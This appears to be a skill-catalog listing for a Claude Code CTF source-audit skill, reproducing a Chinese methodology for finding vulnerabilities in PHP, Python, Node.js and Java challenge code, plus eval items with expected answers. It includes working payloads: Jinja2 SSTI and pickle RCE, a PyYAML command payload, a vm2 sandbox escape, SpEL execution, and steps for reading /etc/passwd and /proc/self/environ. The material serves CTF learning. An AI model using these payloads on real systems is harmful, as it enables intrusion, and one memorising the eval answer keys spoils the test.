
Ctf Source Audit
- 29 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
ctf-source-audit is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- ctf-source-audit
- AI & Agent Building
- AI-coding skill
Ctf Source Audit by the numbers
- 29 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,417 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill ctf-source-auditAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 29 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
CTF 源码审计方法论
CTF 源码审计 ≠ 真实代码审计。区别:
- 真实审计:几万行代码,漏洞可能在任何地方
- CTF 审计:几十到几百行代码,漏洞是故意设置的,通常很明显
核心策略:找危险函数(sink),然后追溯输入(source)到危险函数的路径。
⛔ 深入参考(必读)
- PHP/Python/Node.js/Java 完整危险函数清单、漏洞模式 → references/dangerous-functions.md
Phase 1: 快速识别语言和框架
| 特征 | 语言/框架 |
|---|---|
.php 文件、<?php | PHP |
app.py、from flask、import django | Python (Flask/Django) |
package.json、require()、app.js | Node.js (Express) |
pom.xml、.java、@Controller | Java (Spring) |
go.mod、func main() | Go |
Phase 2: 审计流程
2.1 快速定位危险函数
| 语言 | 命令执行 | 反序列化 | 模板注入 | 文件操作 |
|---|---|---|---|---|
| PHP | system() eval() exec() passthru() | unserialize() | N/A | include() file_get_contents() |
| Python | os.system() eval() exec() subprocess | pickle.loads() yaml.load() | render_template_string() | open() |
| Node.js | child_process.exec() eval() | N/A | EJS/Pug inject | fs.readFile() |
| Java | Runtime.exec() ProcessBuilder | ObjectInputStream | SpEL/FreeMarker | FileInputStream |
→ 完整危险函数清单 → references/dangerous-functions.md
2.2 追踪数据流(sink → source)
1. 参数从哪来? — $_GET, request.args, req.body, @RequestParam 2. 有没有过滤? — 搜 filter, sanitize, escape, replace, blacklist 3. 过滤能绕过吗? — CTF 中通常有绕过(黑名单遗漏、双重编码、大小写、数组绕过)
2.3 审计产出
1. 漏洞类型和位置(文件名+行号) 2. 利用方法(构造什么请求触发) 3. Flag 获取路径
Phase 3: PHP 常见漏洞模式
弱比较 (== vs ===)
// 0e 开头的字符串在 == 比较时被当作科学计数法,等于 0
if ($_GET['password'] == '0e123456') { ... } // 输入 "0" → true
if (md5($a) == md5($b)) { ... } // 找两个 md5 以 0e 开头的值
// 0e MD5 碰撞值:
// md5("240610708") = 0e462097431906509019562988736854
// md5("QNKCDZO") = 0e830400451993494058024219903391
// md5("s878926199a") = 0e545993274517709034328855841020
// 数组绕过 ===
if ($a != $b && md5($a) === md5($b)) { ... }
// md5(array) 返回 NULL → a[]=1&b[]=2变量覆盖
extract($_GET); // GET 参数覆盖任意变量
parse_str($str); // 解析字符串为变量(无第二个参数时)
$$key = $value; // 可变变量
// 利用:?admin=1 覆盖 $admin 变量PHP 类型戏法
// intval() 截断
intval("123abc") === 123 // 非数字部分被忽略
intval("0x1A") === 0 // PHP 7 不解析 hex(PHP 5 可以)
// is_numeric() 绕过
is_numeric("0x539") → true (PHP 5)
is_numeric("1e5") → true // 科学计数法
// in_array() 松散比较
in_array(0, ['a','b','c']) → true // 0 == 'a' 在松散比较中为 true(PHP 7 以下)
// 修复:in_array(0, ['a','b','c'], true) 第三个参数=strictpreg_replace /e (PHP < 7.0)
preg_replace('/.*/e', 'system("id")', ''); // /e 修饰符执行替换结果反序列化 POP 链
搜索 __wakeup(), __destruct(), __toString() 魔术方法,构造链式调用。
// __wakeup 绕过:序列化字符串中属性个数大于实际值
O:4:"User":3:{...} // 实际只有 2 个属性,写 3 → 跳过 __wakeup
// 适用 PHP 5.x - 7.0.10Phase 4: Python 常见漏洞模式
Flask Session 伪造
# 如果知道 SECRET_KEY,可以伪造 Flask session
# 工具:flask-unsign
flask-unsign --decode --cookie 'SESSION_COOKIE'
flask-unsign --sign --cookie "{'user':'admin'}" --secret 'SECRET_KEY'
# SECRET_KEY 泄露路径:
# - 源码中硬编码
# - /proc/self/environ 中的环境变量
# - config.py / .env 文件Werkzeug Debug PIN 计算
# 当 Flask DEBUG=True 时,/console 需要 PIN
# PIN 计算因素(全部可通过 LFI 获取):
# 1. username: /etc/passwd 中运行 Flask 的用户
# 2. modname: 通常是 "flask.app"
# 3. appname: 通常是 "Flask"
# 4. modpath: flask/app.py 的路径 → /proc/self/cmdline + find
# 5. MAC 地址: /sys/class/net/eth0/address → 转十进制
# 6. machine-id: /etc/machine-id + /proc/self/cgroup (Docker)
# 计算脚本见 ctf-web-methodology 的 server-side-advanced.mdSSTI (Jinja2)
render_template_string(user_input) # 危险!
# 检测:{{7*7}} → 49
# RCE:{{lipsum.__globals__.__builtins__.__import__('os').popen('id').read()}}Pickle 反序列化 RCE
import pickle, base64, os
class Exploit:
def __reduce__(self):
return (os.system, ('cat /flag.txt',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()PyYAML 不安全加载
yaml.load(data) # 不安全!需要 yaml.safe_load()
# payload: !!python/object/apply:os.system ['cat /flag.txt']Phase 5: Node.js 常见漏洞模式
原型链污染
// 危险函数:Object.assign(), _.merge(), _.set(), 递归合并
// payload: {"__proto__":{"isAdmin":true}}
// 或: {"constructor":{"prototype":{"isAdmin":true}}}
// 利用场景:
// 1. 修改 Object.prototype 影响全局
// 2. 覆盖已有属性(role: admin)
// 3. RCE:污染 child_process 的 env/shellrequire() 路径穿越
// 如果用户控制 require() 参数
require('../../../etc/passwd'); // 虽然不执行但可泄露错误信息
require('/proc/self/environ');eval() / vm 逃逸
// vm2 沙箱逃逸(多个 CVE)
const {VM} = require("vm2");
const vm = new VM();
vm.run('this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()');Phase 6: Java 常见漏洞模式
SpEL 注入 (Spring)
// 如果用户输入被嵌入 SpEL 表达式
// 检测:${7*7} → 49 或 #{7*7} → 49
// RCE:
#{T(java.lang.Runtime).getRuntime().exec("id")}XXE (Java XML 解析)
Java 的 XML 解析器默认不禁用外部实体(需要手动设置),是 XXE 高发区。
反序列化(ObjectInputStream)
搜索 ObjectInputStream.readObject() → 配合 ysoserial 生成 payload。
注意事项
- CTF 源码通常很短(<200行),不要用复杂工具,手动审计即可
- 优先搜索
flag、secret、admin关键字 - 注意注释中的提示(CTF 出题者有时会留线索)
- 多文件项目:先看路由(
app.py/index.php/app.js),再看控制器逻辑
{
"skill_name": "ctf-source-audit",
"evals": [
{
"id": 1,
"name": "source-audit-php-weak-comparison",
"prompt": "CTF PHP 源码中有:if ($_GET['password'] == '0e123456789') { echo $flag; }。请解释这个漏洞并给出绕过 payload。",
"expected_output": "PHP 弱比较:0e 开头字符串被当作科学计数法 0,任何 0e 开头 MD5 都等于 0",
"expectations": [
"弱比较|==|类型转换|0e科学计数法",
"0e|科学计数法|等于0|数值比较",
"0e215962017|0e830400451|MD5碰撞|已知值",
"===|强比较|应该用强比较|修复方法",
"password=0|0==0|true|数字0也行"
],
"required_terms": [
"===",
"true"
]
},
{
"id": 2,
"name": "source-audit-php-array-bypass",
"prompt": "CTF PHP 源码:if ($a != $b && md5($a) === md5($b)) { echo $flag; }。请描述绕过方法。",
"expected_output": "数组绕过:md5(array) 返回 NULL,NULL===NULL 为 true",
"expectations": [
"数组|array|a[]=1&b[]=2|数组绕过",
"md5(array)|NULL|返回null",
"NULL===NULL|true|强比较也通过",
"!=|不等|不同数组|值不同",
"a[]=|b[]=|GET参数数组语法"
],
"required_terms": [
"md5(array)",
"a[]=1&b[]=2",
"NULL"
]
},
{
"id": 3,
"name": "source-audit-variable-overwrite",
"prompt": "CTF PHP 源码中有 extract($_GET); 然后 if ($admin === 'yes') { echo $flag; }。但 $admin 初始值为 'no'。请描述攻击方法。",
"expected_output": "extract() 变量覆盖:GET 参数直接覆盖 PHP 变量",
"expectations": [
"extract|变量覆盖|$_GET注入变量",
"?admin=yes|GET参数覆盖|直接覆盖$admin",
"parse_str|$$|其他变量覆盖方式",
"register_globals|历史漏洞|类似原理",
"危险函数|extract($_GET)|不安全模式"
],
"required_terms": [
"parse_str",
"register_globals",
"extract($_GET)"
]
},
{
"id": 4,
"name": "source-audit-python-ssti",
"prompt": "CTF Python Flask 源码中有 return render_template_string('Hello ' + request.args.get('name', 'guest'))。请分析漏洞和利用方法。",
"expected_output": "render_template_string 接受用户输入 → SSTI",
"expectations": [
"render_template_string|用户输入|SSTI|模板注入",
"{{7*7}}|49|确认注入|Jinja2",
"config|SECRET_KEY|__class__|信息泄露",
"__mro__|__subclasses__|RCE链|命令执行",
"render_template|安全|文件模板|区别"
],
"required_terms": [
"SECRET_KEY",
"render_template_string",
"render_template"
]
}
]
}
{
"skill_id": "ctf-source-audit",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"source audit",
"源码审计",
"code review",
"代码审计"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "语言搜索",
"keywords": [
"php",
"python",
"node",
"java"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被malware召回",
"keywords": [
"c2",
"yara"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "ctf-source-audit-scenario",
"scenario": "获取到目标 PHP 源码文件,需要审计找出安全漏洞。请搜索源码审计方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "source|audit|源码|审计|代码"
},
{
"tool": "read_skill",
"id": "ctf-source-audit"
}
]
}
]
}
各语言危险函数清单
PHP 危险函数(最常见 CTF 语言)
命令执行
system(),exec(),passthru(),shell_exec(),popen()- 反引号 `
$cmd` preg_replace('/e', ...)— PHP < 7.0 的 /e 修饰符可执行代码
代码执行
eval(),assert()— 直接执行 PHP 代码create_function()— 等价于 evalcall_user_func(),call_user_func_array()— 动态函数调用
文件操作
include(),require(),include_once(),require_once()— LFIfile_get_contents(),readfile(),fopen()— 任意文件读取file_put_contents(),fwrite()— 任意文件写入 → webshellunlink()— 任意文件删除move_uploaded_file()— 文件上传
反序列化
unserialize()— 搜索__wakeup,__destruct,__toString魔术方法构造 POP 链
SQL 相关
- 字符串拼接 SQL:
"SELECT * FROM users WHERE id=".$_GET['id'] mysql_query(),mysqli_query(),PDO::query()— 参数是否来自用户输入
Python 危险函数
命令执行
os.system(),os.popen(),subprocess.*eval(),exec()— 代码执行
反序列化
pickle.loads(),yaml.load()(无 Loader 参数) — RCEmarshal.loads()
模板注入
render_template_string(user_input)— Jinja2 SSTITemplate(user_input).render()— SSTI
Flask 特有
app.secret_key— 泄露可伪造 session@app.route缺少认证装饰器 — 未授权访问
Node.js 危险函数
命令执行
child_process.exec(),child_process.spawn()eval(),new Function()
原型链污染
Object.assign(),_.merge(),_.set()— source 来自用户输入时- 递归合并函数 —
__proto__或constructor.prototype注入
模板注入
- EJS:
<%= user_input %>有时可注入 - Pug/Jade: 模板编译时注入
常见 CTF 源码漏洞模式
弱比较(PHP)
if ($_GET['password'] == '0e123456') { ... } // "0e..." == 0 → true
if (md5($a) == md5($b)) { ... } // 0e 开头的 MD5 碰撞
if ($a != $b && md5($a) === md5($b)) { ... } // 数组绕过 md5([])===md5([])变量覆盖
extract($_GET); // GET 参数覆盖任意变量
parse_str($str); // 解析字符串为变量
$$key = $value; // 可变变量条件竞争
move_uploaded_file($tmp, $target);
if (is_malicious($target)) unlink($target); // 有时间窗口逻辑漏洞
- username
admin被禁止 → 试admin(trailing space) 或Admin - 金额/积分为负数 → 购买时扣负数 = 加钱
- 密码重置 token 可预测 → 基于时间戳或弱随机数